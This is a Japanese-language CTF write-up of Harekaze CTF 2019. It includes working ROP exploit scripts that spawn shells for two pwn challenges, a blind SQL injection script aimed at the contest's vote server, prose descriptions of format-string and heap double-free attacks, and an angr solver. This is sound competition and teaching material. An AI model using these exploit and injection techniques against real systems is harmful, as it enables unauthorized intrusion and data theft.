5月18日の15時から24時間Harekaze CTF 2019が開催されました。
私はチームYokosuka Hackers
として参加し、チーム全体で3060ptsを獲得して1位でした。
なんとフラグを通したのは2問だけという失態ですが、今回はみんなで情報共有して協力しながらという感じだったのでOK。
フラグを通した問題以外も、挑戦した問題は解き方を書こうと思います。
Baby ROP
スタックオーバーフローがあるのでやるだけ。
サーバー側は古いlibcなのでret2pltのsystem("/bin/sh")
が動きます。
また、"/bin/sh"はバイナリの中に存在するのでそれを使いました。
from ptrlib import * #sock = Process("./babyrop") sock = Socket("problem.harekaze.com", 20001) plt_system = 0x400490 rop_pop_rdi = 0x00400683 addr_binsh = 0x601048 payload = b'A' * 0x18 payload += p64(rop_pop_rdi) payload += p64(addr_binsh) payload += p64(plt_system) payload += p64(0xffffffffffffffff) sock.sendline(payload) sock.interactive()
$ python solve.py [+] Socket: Successfully connected to problem.harekaze.com:20001 [ptrlib]$ cat /home/babyrop/flag What's your name? HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn} [ptrlib]$
Baby ROP 2
先程と同じくスタックオーバーフローがありますが、system関数は用意されていません。
ただprintfでlibc leakしてret2libcでsystem("/bin/sh")
を動かすだけです。
これもlibcが古いのでシステムコールを組み立てる必要はありません。
from ptrlib import * libc = ELF("./libc.so.6") elf = ELF("./babyrop2") #sock = Process("./babyrop2") sock = Socket("problem.harekaze.com", 20005) plt_printf = 0x4004f0 rop_pop_rdi = 0x00400733 rop_pop_rsi_r15 = 0x00400731 payload = b'A' * 0x28 payload += p64(rop_pop_rdi) payload += p64(elf.got("read")) payload += p64(plt_printf) payload += p64(elf.symbol("main")) sock.recvuntil("name? ") sock.send(payload) sock.recvline() addr = sock.recvuntil("What")[:-4] libc_base = u64(addr) - libc.symbol("read") dump("libc base = " + hex(libc_base)) sock.recvuntil("name? ") sock.send(payload) payload = b'A' * 0x28 payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + libc.symbol("system")) sock.send(payload) sock.interactive()
フラグ的にBSSセグメント使ってほしかったっぽい?
もしかしたら_start
を呼ぶんじゃなくてreadでBSSにROP chainを作ってstack pivotで飛んでほしかったのかもしれません。
$ python solve.py [+] Socket: Successfully connected to problem.harekaze.com:20005 [ptrlib] libc base = 0x7f6aff1e4000 Welcome to the Pwn World again, AAAAAAAAAAAAAAAAAAAAAAAAAAAAH! [ptrlib]$ P²-ÿjWhat's your name? Welcome to the Pwn World again, AAAAAAAAAAAAAAAAAAAAAAAAAAAA@! cat /home/babyrop2/flag HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng} [ptrlib]$
Login System
明らかに非想定解なのでwriteup待ち。
sprintfでscanfのcharsetを指定できるのですが、そんなことをすればscanfの書式文字列が変更できます。
スタック上にリターンアドレスを指すポインタがあるので、a]%11$lx[a
みたいな文字列を挿入すればリターンアドレスを直接書き換えられます。
libcのアドレスリークがなくて困っていましたが、bincatさんがブルートフォースでone gadgetに飛ばすようにリターンアドレスを書き換えたら通ったっぽいです。
Harekaze Note
ノートを作って双方向リストで管理しています。
deleteしたときにcontentsがmallocされているかを確認しない上、contentsのアドレスを消さないのでdouble freeがあります。
しかしlibc-2.29なのでtcacheでdouble freeはできず、fastbinでやる必要があります。
なぜか私のコードが動かなくて詰まっていたらshpikさんが鮮やかに解いてくれました。
やることとしては、tcacheのリンクからheapアドレスをリークし、double freeでchunk overlapしてリストの先頭もしくは最後尾についてるbssへのリンクを拾ってproc baseを計算し、同様にリンクをGOTに繋げてlibc leakし、最後に
もっと簡単でした。
あとfastbinのdouble freeができなかったのは小さいチャンクをcreateしまくったら解決しました。(なんで?)
ちゃんと書いたのでこっちのwriteupを読んでください。__free_hook
とかでone gadgetみたいな感じだと思います。
SQLite Vote
shpikさんが((select(length(flag))from(flag))between(1)and(100))and(select(sum(a))from(select(2305843009213693953)a,(id)from(vote))a)
と((select(length(flag))from(flag))between(1)and(1))and(select(sum(a))from(select(2305843009213693953)a,(id)from(vote))a)
で分岐できることに気づいたので、私が次のようなコードで部分文字列が分かるのではないかと言ったところ、hex(hex(flag))にすれば完全に分かるじゃんってなりました。
import requests l = 4 partial = 48617265 # Hare #partial = 99999999 sqli1 = "((SELECT(LENGTH( TRIM(HEX(flag), {partial}) ))FROM(flag))BETWEEN(1)AND({i}))AND(SELECT(SUM(a))FROM(SELECT(2305843009213693953)a,(id)FROM(vote))a)".format(partial=partial, i=(38-l) * 2) sqli2 = "((SELECT(LENGTH( TRIM(HEX(flag), {partial}) ))FROM(flag))BETWEEN(1)AND({i}))AND(SELECT(SUM(a))FROM(SELECT(2305843009213693953)a,(id)FROM(vote))a)".format(partial=partial, i=(38-l-1) * 2) payload = {"id": "{}".format(sqli1.replace(" ", ""))} r1 = requests.post("http://153.127.202.154:1004/vote.php", data=payload) payload = {"id": "{}".format(sqli2.replace(" ", ""))} r2 = requests.post("http://153.127.202.154:1004/vote.php", data=payload) if b"error" in r1.text.encode("ascii"): if b"error" not in r2.text.encode("ascii"): print("'{}' is included".format(partial))
しかしintegerが大きすぎてエラーになるのでtrimを複数に分けて使う必要がありましたが、時間がありませんでした。
Scramble
みんなが解析している間にangrで解きました。
import angr import claripy p = angr.Project("./scramble") flag = claripy.BVS("flag", 38*8) st = p.factory.entry_state( args = ["./scramble"], add_options = angr.options.unicorn, stdin = flag ) for byte in flag.chop(8): st.add_constraints(byte >= '\x20') # ' ' st.add_constraints(byte <= '\x7e') # '~' sm = p.factory.simulation_manager(st) sm.explore(find=0x400000 + 0x737, avoid=0x400000 + 0x6fb) found = sm.found[-1] keys = found.solver.eval(flag) print(keys)
感想
思ったより難しかったです。 最近まともな問題が解けないので自信がなくなってきた。
スコアサーバーがいまいちでしたが、問題はどれもちゃんと作られていて良かったです。 是非また来年も開催してください。